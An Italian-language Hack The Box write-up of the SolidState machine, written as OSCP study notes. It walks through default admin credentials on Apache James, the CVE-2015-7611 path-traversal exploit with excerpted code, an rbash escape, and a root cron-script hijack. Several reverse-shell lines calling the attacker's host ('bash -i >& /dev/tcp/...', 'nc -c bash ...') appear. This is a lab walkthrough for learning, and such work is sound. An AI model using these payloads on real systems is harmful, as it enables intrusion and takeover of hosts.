SolidState (HTB) - Writeup

Introduzione

#

SolidState è una macchina Hack The Box (HTB) di difficoltà media, basata su un’istanza di Apache James Server (AJS) configurata in modo insicuro. Il servizio è accessibile tramite credenziali di default che permettono di amministrare gli account email locali e reimpostare le password degli utenti, consentendo l’accesso alle rispettive caselle di posta.

Analizzando i messaggi ricevuti dagli utenti è possibile recuperare credenziali valide per l’accesso all’host. Tuttavia, la shell inizialmente ottenuta risulta fortemente limitata, permettendo l’esecuzione di un numero ristretto di comandi.

Per proseguire con la compromissione della macchina è possibile seguire due approcci per ottenere una shell completa, entrambi interessanti dal punto di vista didattico:

1. Sfruttare una vulnerabilità nota di Apache James Server 2.3.2 (CVE-2015-7611)
2. Bypassare le restrizioni della shell limitata, aggirando i controlli imposti dall’ambiente

Per ottenere poi il controllo completo della macchina è necessario abusare di uno script Python eseguito periodicamente dall’utente root, sul quale l’utente compromesso dispone di permessi di scrittura.

Questo articolo fa parte della serie Road to OSCP, il mio diario personale in cui documento il percorso di studio e l’esperienza maturata durante la preparazione alla certificazione OSCP di Offensive Security. Se sei interessato ad altri contenuti simili, ti invito a consultare la sezione dedicata alla serie.

Enumerazione

#

Port scanning

#

Da una prima scansione nmap è possibile osservare che il server espone diversi servizi:

PORT     STATE SERVICE REASON
22/tcp   open  ssh     syn-ack ttl 63
25/tcp   open  smtp    syn-ack ttl 63
80/tcp   open  http    syn-ack ttl 63
110/tcp  open  pop3    syn-ack ttl 63
119/tcp  open  nntp    syn-ack ttl 63
4555/tcp open  rsip    syn-ack ttl 63

Eseguendo una scansione più approfondita per rilevare le versioni dei software in uso si ottengono ulteriori informazioni utili all’analisi, sebbene non complete:

PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
| ssh-hostkey: 
|   2048 77:00:84:f5:78:b9:c7:d3:54:cf:71:2e:0d:52:6d:8b (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCp5WdwlckuF4slNUO29xOk/Yl/cnXT/p6qwezI0ye+4iRSyor8lhyAEku/yswpYkyZeiSC1qk72L6CiZ9/5za4MTZw8Cq0akT7G+mX7Qgc+5eOEGcqZt3cBtWzKjHyOZJAEUtwXAHly29KtrPUddXEIF0qJUxK
|   256 78:b8:3a:f6:60:19:06:91:f5:53:92:1d:3f:48:ed:53 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBISyhm1hXZNQl3cslogs5LKqg
|   256 e4:45:e9:ed:07:4d:73:69:43:5a:12:70:9d:c4:af:76 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMKbFbK3MJqjMh9oEw/2OVe0isA7e3ruHz5fhUP4cVgY
25/tcp   open  smtp?   syn-ack ttl 63
|_smtp-commands: Couldn't establish connection on port 25
80/tcp   open  http    syn-ack ttl 63 Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Home - Solid State Security
| http-methods: 
|_  Supported Methods: HEAD GET POST OPTIONS
110/tcp  open  pop3?   syn-ack ttl 63
119/tcp  open  nntp?   syn-ack ttl 63
4555/tcp open  rsip?   syn-ack ttl 63

In particolare, nmap non riesce a identificare correttamente le versioni dei servizi SMTP, POP3, NNTP e quale servizio sia esposto sulla porta 4555. Una possibile spiegazione è la lentezza nella risposta dei servizi, che porta lo scanner a interrompere l’identificazione prima di ricevere il banner completo.

Per questo motivo è sempre buona pratica affiancare alle scansioni automatiche un’interazione manuale con i servizi esposti. Collegandosi direttamente alle varie porte con netcat e attendendo alcuni secondi, i servizi rivelano infatti informazioni molto più dettagliate:

$ nc -nv 10.129.11.250 25  
(UNKNOWN) [10.129.11.250] 25 (smtp) open
220 solidstate SMTP Server (JAMES SMTP Server 2.3.2) ready Thu, 5 Feb 2026 13:24:02 -0500 (EST)

$ nc -nv 10.129.11.250 110
(UNKNOWN) [10.129.11.250] 110 (pop3) open
+OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready 

$ nc -nv 10.129.11.250 119
(UNKNOWN) [10.129.11.250] 119 (nntp) open
200 solidstate NNTP Service Ready, posting permitted

$ nc -nv 10.129.11.250 4555
(UNKNOWN) [10.129.11.250] 4555 (?) open
JAMES Remote Administration Tool 2.3.2
Please enter your login and password
Login id:

Da questi banner emerge chiaramente la presenza di Apache James Server versione 2.3.2, utilizzato per la gestione dei servizi di posta (SMTP, POP3, NNTP) e per l’interfaccia di amministrazione remota sulla porta 4555.

Questo evidenzia un aspetto fondamentale della fase di enumerazione: le scansioni automatiche sono estremamente utili e spesso fanno risparmiare tempo, ma non sono infallibili. In assenza di una verifica manuale, informazioni critiche come la versione esatta dei servizi in esecuzione potrebbero passare inosservate, rendendo impossibile individuare vulnerabilità note.

Sulla base delle informazioni raccolte, è possibile riassumere i servizi individuati nella seguente tabella:

80 (TCP) - HTTP

#

Inizia ora l’analisi approfondita dei servizi esposti. Sulla porta 80/TCP è in esecuzione un server web Apache 2.4.25 che ospita il sito web della società Solid State Security.

Dall’analisi della risposta HTTP del server è possibile ricavare alcune informazioni di base, come la versione di Apache (già individuata in precedenza) e pochi altri dettagli non particolarmente rilevanti:

HTTP/1.1 200 OK
Date: Fri, 06 Feb 2026 05:34:46 GMT
Server: Apache/2.4.25 (Debian)
Last-Modified: Sat, 23 Dec 2017 23:16:12 GMT
ETag: "1e60-5610a1e7a4c9b"
Accept-Ranges: bytes
Content-Length: 7776
Vary: Accept-Encoding
Content-Type: text/html

Navigando il sito, si nota che oltre alla pagina principale index.html sono presenti anche le pagine services.html e about.html, entrambe caratterizzate da contenuti puramente statici.

In fondo a ciascuna pagina è presente un form di contatto che risulta non funzionante: l’invio dei dati provoca semplicemente il ricaricamento della pagina di origine, senza che la richiesta venga effettivamente processata dal server.

Un dettaglio potenzialmente interessante è la presenza del dominio solid-state-security.com indicato nel contatto email. Per verificare l’effettivo utilizzo da parte del servizio web, aggiungo il dominio al file /etc/hosts così da poterne risolvere correttamente il nome:

$ echo -e "10.129.11.250\tsolid-state-security.com" | sudo tee -a /etc/hosts
$ cat /etc/hosts | grep "solid-state-security.com" 
10.129.11.250 solid-state-security.com

A questo punto provo a individuare eventuali virtual host o sottodomini tramite brute force, ipotizzando la presenza di contenuti accessibili solo tramite Host header specifici. Tuttavia, questa fase non produce risultati significativi.

Provo quindi a individuare eventuali virtual host o sottodomini tramite brute force, senza però ottenere risultati significativi. Allo stesso modo, anche l’enumerazione di directory e file potenzialmente esposti dal server web non porta all’identificazione di risorse interessanti o di superfici d’attacco aggiuntive.

Sulla base di queste osservazioni, il servizio HTTP non sembra offrire una superficie d’attacco immediatamente sfruttabile. Decido quindi di abbandonare temporaneamente questa strada per concentrarmi sugli altri servizi esposti dalla macchina.

Accesso iniziale

#

4555 (TCP) - Apache James Server

#

Proseguendo con l’analisi dei servizi esposti, la porta 4555/TCP risulta particolarmente interessante, poiché espone un’istanza di Apache James (o Java Apache Mail Enterprise Server), un mail server open source scritto in Java che include un’interfaccia di amministrazione remota.

In una configurazione corretta, questa interfaccia non dovrebbe essere esposta pubblicamente, ma limitata all’accesso locale o a un ristretto insieme di indirizzi IP fidati.

Collegandosi manualmente alla porta tramite netcat e interagendo con il servizio, è possibile ottenere informazioni sulla versione installata (v2.3.2):

$ nc -nv 10.129.11.250 4555                                        
(UNKNOWN) [10.129.11.250] 4555 (?) open
JAMES Remote Administration Tool 2.3.2

Dalla documentazione emerge che le credenziali di default dell’interfaccia amministrativa sono root/root. Provando ad accedere con queste credenziali, si scopre che non sono mai state modificate dopo l’installazione e risultano ancora valide.

Una volta effettuato l’accesso, l’utente root dispone di privilegi amministrativi completi sull’istanza. Il comando help restituisce la lista delle funzionalità disponibili:

Please enter your login and password
Login id:
root
Password:
root
Welcome root. HELP for a list of commands
help
Currently implemented commands:
help                                    display this help
listusers                               display existing accounts
countusers                              display the number of existing accounts
adduser [username] [password]           add a new user
verify [username]                       verify if specified user exist
deluser [username]                      delete existing user
setpassword [username] [password]       sets a user's password
setalias [user] [alias]                 locally forwards all email for 'user' to 'alias'
showalias [username]                    shows a user's current email alias
unsetalias [user]                       unsets an alias for 'user'
setforwarding [username] [emailaddress] forwards a user's email to another email address
showforwarding [username]               shows a user's current email forwarding
unsetforwarding [username]              removes a forward
user [repositoryname]                   change to another user repository
shutdown                                kills the current JVM (convenient when James is run as a daemon)
quit                                    close connection

Tramite il comando listusers è possibile enumerare gli account di posta configurati localmente sul server:

listusers
Existing accounts 5
user: james
user: thomas
user: john
user: mindy
user: mailadmin

Avendo accesso amministrativo all’istanza, è possibile reimpostare la password di ciascun utente e accedere alle rispettive caselle di posta tramite POP3:

setpassword james james
setpassword thomas thomas
setpassword john john
setpassword mindy mindy
setpassword mailadmin mailadmin

A questo punto ho ottenuto il controllo dell’infrastruttura di posta, che mi consente di analizzare il contenuto di tutte le caselle di posta compromesse alla ricerca di informazioni utili per proseguire con la compromissione del sistema.

110 (TCP) - POP3

#

Avendo ottenuto il controllo dell’infrastruttura di posta tramite l’interfaccia di amministrazione di Apache James, il passo successivo è l’accesso diretto alle caselle email degli utenti compromessi. Sulla porta 110/TCP è esposto il servizio POP3, che consente di leggere i messaggi ricevuti dagli utenti individuati in precedenza.

Per accedere al servizio è possibile utilizzare il comando nc -Cnv <target_ip> 110, sfruttando l’opzione -C per forzare l’invio di CRLF a fine riga, oppure il client telnet, come mostrato di seguito. Tra gli utenti disponibili, solo john e mindy risultano aver ricevuto dei messaggi di posta e vengono quindi analizzati di seguito:

$ telnet 10.129.11.250 110
Trying 10.129.11.250...
Connected to 10.129.11.250.
Escape character is '^]'.
+OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready 
USER john
+OK
PASS john
+OK Welcome john
LIST
+OK 1 743
1 743
.
RETR 1
+OK Message follows
Return-Path: <mailadmin@localhost>
Message-ID: <9564574.1.1503422198108.JavaMail.root@solidstate>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Delivered-To: john@localhost
Received: from 192.168.11.142 ([192.168.11.142])
          by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 581
          for <john@localhost>;
          Tue, 22 Aug 2017 13:16:20 -0400 (EDT)
Date: Tue, 22 Aug 2017 13:16:20 -0400 (EDT)
From: mailadmin@localhost
Subject: New Hires access
John, 

Can you please restrict mindy's access until she gets read on to the program. Also make sure that you send her a tempory password to login to her accounts.

Thank you in advance.

Respectfully,
James

Da questo messaggio si evince che l’account di mindy ha accesso limitato all’host e che le è stata inviata una password temporanea. Accedendo alla sua casella di posta emergono i seguenti due messaggi:

$ telnet 10.129.11.250 110
Trying 10.129.11.250...
Connected to 10.129.11.250.
Escape character is '^]'.
+OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready 
USER mindy
+OK
PASS mindy
+OK Welcome mindy
LIST
+OK 2 1945
1 1109
2 836
.

Il primo messaggio è un’email di benvenuto e non fornisce informazioni utili ai fini della compromissione:

RETR 1
+OK Message follows
Return-Path: <mailadmin@localhost>
Message-ID: <5420213.0.1503422039826.JavaMail.root@solidstate>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Delivered-To: mindy@localhost
Received: from 192.168.11.142 ([192.168.11.142])
          by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 798
          for <mindy@localhost>;
          Tue, 22 Aug 2017 13:13:42 -0400 (EDT)
Date: Tue, 22 Aug 2017 13:13:42 -0400 (EDT)
From: mailadmin@localhost
Subject: Welcome

Dear Mindy,
Welcome to Solid State Security Cyber team! We are delighted you are joining us as a junior defense analyst. Your role is critical in fulfilling the mission of our orginzation. The enclosed information is designed to serve as an introduction to Cyber Security and provide resources that will help you make a smooth transition into your new role. The Cyber team is here to support your transition so, please know that you can call on any of us to assist you.

We are looking forward to you joining our team and your success at Solid State Security. 

Respectfully,
James
.

Il secondo messaggio risulta invece di particolare interesse, in quanto contiene delle credenziali SSH temporanee assegnate all’utente mindy:

RETR 2
+OK Message follows
Return-Path: <mailadmin@localhost>
Message-ID: <16744123.2.1503422270399.JavaMail.root@solidstate>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Delivered-To: mindy@localhost
Received: from 192.168.11.142 ([192.168.11.142])
          by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 581
          for <mindy@localhost>;
          Tue, 22 Aug 2017 13:17:28 -0400 (EDT)
Date: Tue, 22 Aug 2017 13:17:28 -0400 (EDT)
From: mailadmin@localhost
Subject: Your Access

Dear Mindy,


Here are your ssh credentials to access the system. Remember to reset your password after your first login. 
Your access is restricted at the moment, feel free to ask your supervisor to add any commands you need to your path. 

username: mindy
pass: P@55W0rd1!2@

Respectfully,
James

L’analisi delle caselle di posta ha consentito di individuare delle credenziali potenzialmente valide, che verranno verificate nel prossimo passo tramite accesso SSH al sistema.

User flag

#

A seguito del recupero delle credenziali dalla casella di posta di mindy, il passo successivo consiste nel verificare se queste siano valide per l’accesso al sistema. Sulla porta 22/TCP è esposto un server SSH (OpenSSH 7.4p1), che supporta sia l’autenticazione tramite chiave pubblica sia tramite password, come mostrato di seguito:

$ nmap -Pn -p22 --script ssh-auth-methods -vv 10.129.11.250
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
| ssh-auth-methods: 
|   Supported authentication methods: 
|     publickey
|_    password

Utilizzando le credenziali ottenute in precedenza, è quindi possibile autenticarsi con successo al servizio SSH ed ottenere una shell sulla macchina:

sshpass -p 'P@55W0rd1!2@' ssh mindy@10.129.11.250

Una volta ottenuto l’accesso all’host la prima flag è salvata in /home/mindy/user.txt:

Privilege Escalation

#

Una volta ottenuto l’accesso all’host tramite SSH, emerge immediatamente un’importante limitazione: la shell assegnata all’utente mindy è una restricted bash (rbash), che impedisce l’esecuzione della maggior parte dei comandi necessari per una corretta enumerazione del sistema.

Per superare questo ostacolo sono possibili due percorsi distinti, entrambi interessanti dal punto di vista didattico, che consentono prima di aggirare le limitazioni imposte da rbash e successivamente di ottenere il controllo completo della macchina.

CVE-2015-7611

#

Il primo percorso, che credo sia quello inteso dal creatore di questa macchina, permette di ottenere una shell completa sfruttando una vulnerabilità nota di Apache James Server 2.3.2 (CVE-2015-7611) descritta brevemente in seguito:

Apache James Server 2.3.2, when configured with file-based user repositories, allows attackers to execute arbitrary system commands via unspecified vectors. Fonte: NIST

In questa versione di Apache James, i nomi degli account email non vengono correttamente validati. Un utente con accesso all’interfaccia amministrativa può quindi creare account contenenti sequenze di path traversal, inducendo il server a scrivere file in percorsi arbitrari del filesystem.

Sfruttando questo comportamento, è possibile forzare la scrittura di un file malevolo all’interno della directory /etc/bash_completion.d/. Il contenuto di questa directory viene caricato automaticamente all’avvio di una shell bash interattiva. Di conseguenza, quando un qualsiasi utente locale effettua l’accesso al sistema, tutti i file presenti vengono processati, causando l’esecuzione del payload prima che l’utente possa interagire con la shell.

Prima di procedere con lo sfruttamento della vulnerabilità, è utile verificare la presenza di exploit pubblici. Utilizzando searchsploit si ottiene rapidamente una panoramica delle soluzioni disponibili:

$ searchsploit Apache James 2.3.2
------------------------------------------------------------------------------------- -----------------------
 Exploit Title                                                                       |  Path
------------------------------------------------------------------------------------- -----------------------
Apache James Server 2.3.2 - Insecure User Creation Arbitrary File Write (Metasploit) | linux/remote/48130.rb
Apache James Server 2.3.2 - Remote Command Execution                                 | linux/remote/35513.py
Apache James Server 2.3.2 - Remote Command Execution (RCE) (Authenticated) (2)       | linux/remote/50347.py
------------------------------------------------------------------------------------- -----------------------
Shellcodes: No Results

Tra gli exploit individuati analizzerò 35513.py, poiché permette di comprendere velocemente il meccanismo alla base della vulnerabilità.

Il primo passo dell’exploit consiste nel collegarsi all’interfaccia di amministrazione di Apache James sulla porta 4555/TCP utilizzando credenziali valide (in questo caso quelle di default):

user = 'root'
pwd = 'root'
ip = sys.argv[1]
#...
try:
    print "[+]Connecting to James Remote Administration Tool..."
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect((ip,4555))
    s.recv(1024)
    s.send(user + "\n")
    s.recv(1024)
    s.send(pwd + "\n")
    s.recv(1024)
    print "[+]Creating user..."
    s.send("adduser ../../../../../../../../etc/bash_completion.d exploit\n")
    s.recv(1024)
    s.send("quit\n")
    s.close()
    #...
except:
    print "Connection failed."

A causa della mancata validazione dello username, è possibile creare un account il cui nome contiene una sequenza di path traversal:

s.send("adduser ../../../../../../../../etc/bash_completion.d exploit\n")

Successivamente, lo script si connette al servizio SMTP sulla porta 25/TCP e invia un’email indirizzata proprio all’account creato. Il body del messaggio contiene il payload malevolo da eseguire:

try:
    #...
    print "[+]Connecting to James SMTP server..."
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect((ip,25))
    s.send("ehlo team@team.pl\r\n")
    recv(s)
    print "[+]Sending payload..."
    s.send("mail from: <'@team.pl>\r\n")
    recv(s)
    # also try s.send("rcpt to: <../../../../../../../../etc/bash_completion.d@hostname>\r\n") if the recipient cannot be found
    s.send("rcpt to: <../../../../../../../../etc/bash_completion.d>\r\n")
    recv(s)
    s.send("data\r\n")
    recv(s)
    s.send("From: team@team.pl\r\n")
    s.send("\r\n")
    s.send("'\n")
    s.send(payload + "\n")
    s.send("\r\n.\r\n")
    recv(s)
    s.send("quit\r\n")
    recv(s)
    s.close()
except:
    print "Connection failed."

Apache James utilizza il nome del destinatario per determinare dove salvare il messaggio. Poiché, anche in questo caso, il valore non viene correttamente validato, il server scrive il contenuto dell’email direttamente all’interno della directory /etc/bash_completion.d/.

I pre-requisiti per lo sfruttamento di questa vulnerabilità sono quindi:

1. Accesso all’interfaccia amministrativa di Apache James
2. Un login interattivo di un utente sul sistema (ad esempio via SSH)

Il primo requisito è soddisfatto, poiché l’istanza utilizza ancora le credenziali di default. Il secondo può essere soddisfatto effettuando l’accesso all’host tramite l’utente mindy, di cui possiedo già le credenziali.

Modifico quindi l’exploit aggiungendo un payload per ottenere una reverse shell, che verrà eseguito al prossimo accesso di un utente:

payload = 'bash -i >& /dev/tcp/10.10.15.202/80 0>&1'

Eseguendo lo script si ottiene il seguente output:

$ python2 james_exploit.py 10.129.11.250
[+]Connecting to James Remote Administration Tool...
[+]Creating user...
[+]Connecting to James SMTP server...
[+]Sending payload...
[+]Done! Payload will be executed once somebody logs in.

A questo punto verifico che l’account malevolo sia stato effettivamente creato:

$ nc -nv 10.129.11.250 4555
(UNKNOWN) [10.129.11.250] 4555 (?) open
JAMES Remote Administration Tool 2.3.2
Please enter your login and password
Login id:
root
Password:
root
Welcome root. HELP for a list of commands
listusers
Existing accounts 7
user: james
user: ../../../../../../../../etc/bash_completion.d
user: thomas
user: john
user: mindy
user: mailadmin

L’utente con nome contenente la sequenza di path traversal conferma che l’exploit ha avuto successo.

Effettuando ora un accesso tramite SSH al sistema, il payload viene eseguito correttamente e si ottiene una reverse shell completa, aggirando così le restrizioni imposte da rbash. :

Escape from rbash

#

Il secondo percorso, che credo non fosse previsto dal creatore della macchina, consiste nel bypassare le restrizioni imposte da rbash per ottenere una shell completa.

Il client SSH permette di specificare un comando da eseguire dopo l’autenticazione tramite l’opzione -t come mostrato dal manuale del comando (man ssh):

-t  Force pseudo-terminal allocation. This can be used to execute arbitrary 
    screen-based programs on a remote machine, which can be very useful, 
    e.g. when implementing menu services.
    Multiple -t options force tty allocation, even if ssh has no local tty.

Forzando l’allocazione di una TTY è possibile eseguire il comando bash e avviare una nuova shell interattiva che non eredita le restrizioni di rbash. In questo modo si ottiene una shell completa aggirando i controlli imposti sull’ambiente dell’utente.

La soluzione più semplice consiste quindi nell’eseguire direttamente bash al momento della connessione:

ssh mindy@10.129.11.250 -t bash

In alternativa, strumenti come nxc permettono di ottenere lo stesso risultato in modo ancora più diretto, specificando un comando da eseguire immediatamente dopo l’autenticazione:

nxc ssh 10.129.11.250 -u mindy -p 'P@55W0rd1!2@' -x 'nc -c bash 10.10.15.202 80'

Enumerazione host

#

Ora che dispongo di una shell completa, posso analizzare in modo più approfondito l’host alla ricerca di possibili vettori di privilege escalation.

Come mostrato dall’output seguente, il sistema è basato su un’architettura a 32bit, identificata dalla sigla i686:

$ uname -a
Linux solidstate 4.9.0-3-686-pae #1 SMP Debian 4.9.30-2+deb9u3 (2017-08-06) i686 GNU/Linux

Durante l’enumerazione del filesystem, scopro che nella directory /opt è presente uno script Python dell’utente root molto interessante su cui ho i privilegi in scrittura:

$ ls -la /opt/
total 16
drwxr-xr-x  3 root root 4096 Aug 22  2017 .
drwxr-xr-x 22 root root 4096 May 27  2022 ..
drwxr-xr-x 11 root root 4096 Apr 26  2021 james-2.3.2
-rwxrwxrwx  1 root root  105 Aug 22  2017 tmp.py

Lo script tmp.py è molto semplice e si occupa di rimuovere ricorsivamente il contenuto della directory /tmp:

#!/usr/bin/env python
import os
import sys
try:
    os.system('rm -r /tmp/* ')
except:
    sys.exit()

Il fatto che uno script di proprietà di root sia world‑writable rappresenta già di per sé un forte indicatore di una possibile escalation. Resta però da capire se e quando questo script venga eseguito.

Abusing cronjob

#

Per analizzare il comportamento dinamico del sistema utilizzo pspy, uno strumento che consente di monitorare i processi in esecuzione senza richiedere privilegi elevati.

Dopo aver trasferito il binario nella versione a 32 bit per compatibilità con l’architettura del sistema, lo avvio:

$ wget http://10.10.15.202/pspy32
$ chmod +x pspy32
$ ./pspy32

Dopo alcuni minuti di osservazione, noto che l’utente root (UID=0) esegue periodicamente lo script /opt/tmp.py:

Questo conferma che lo script viene lanciato automaticamente tramite un cronjob con privilegi di root. Dal momento che il file è modificabile dall’utente corrente, è possibile iniettare del codice arbitrario che verrà eseguito con privilegi elevati.

Modifico quindi lo script aggiungendo un payload per ottenere una reverse shell come root:

#!/usr/bin/env python
import os
import sys
try:
    os.system('nc -c bash 10.10.15.202 80')
except:
    sys.exit()

Dopo pochi minuti ottengo una reverse shell con privilegi di root:

L’esecuzione periodica dello script è confermata anche dall’output di crontab -l, che mostra come il job venga eseguito ogni 3 minuti:

Root flag

#

Con i privilegi di root è ora possibile leggere l’ultima flag, situata in /root/root.txt:

Conclusioni

#

SolidState è una macchina che ruota attorno a problematiche purtroppo ancora molto comuni in ambienti reali di produzione. In particolare, mette in evidenza i rischi legati all’esposizione pubblica di interfacce di amministrazione protette da credenziali di default, spesso dimenticate dopo l’installazione iniziale di un servizio. A questo si aggiunge l’utilizzo di software obsoleto, affetto da vulnerabilità note per le quali esistono exploit pubblici ampiamente documentati.

Un altro aspetto rilevante riguarda la gestione delle credenziali degli utenti locali. La macchina mostra come password temporanee o di default, anche dopo un reset, possano rimanere in uso per lunghi periodi di tempo, diventando un punto di ingresso efficace per un attaccante.

Dal punto di vista metodologico, SolidState sottolinea l’importanza di non affidarsi esclusivamente alle scansioni automatiche. Strumenti come nmap sono fondamentali nella fase iniziale, ma possono facilmente mancare dettagli critici. L’interazione manuale con i servizi esposti si è rivelata decisiva per identificare correttamente Apache James e comprenderne la reale superficie d’attacco.

La macchina evidenzia inoltre come le restrizioni imposte da una shell ristretta (come rbash) non rappresentino una vera misura di sicurezza, ma piuttosto un ostacolo aggirabile in diversi modi da chi ha familiarità con il sistema.

SolidState è stato quindi per me un ottimo esercizio lungo il percorso di preparazione alla OSCP. Con questo articolo, più che insegnare a trovare l’exploit giusto da lanciare, spero di aver spinto il lettore a comprendere cosa sta succedendo sotto la scocca, perché un attacco funziona in un certo modo e come concatenare correttamente più debolezze per ottenere il controllo completo di un sistema.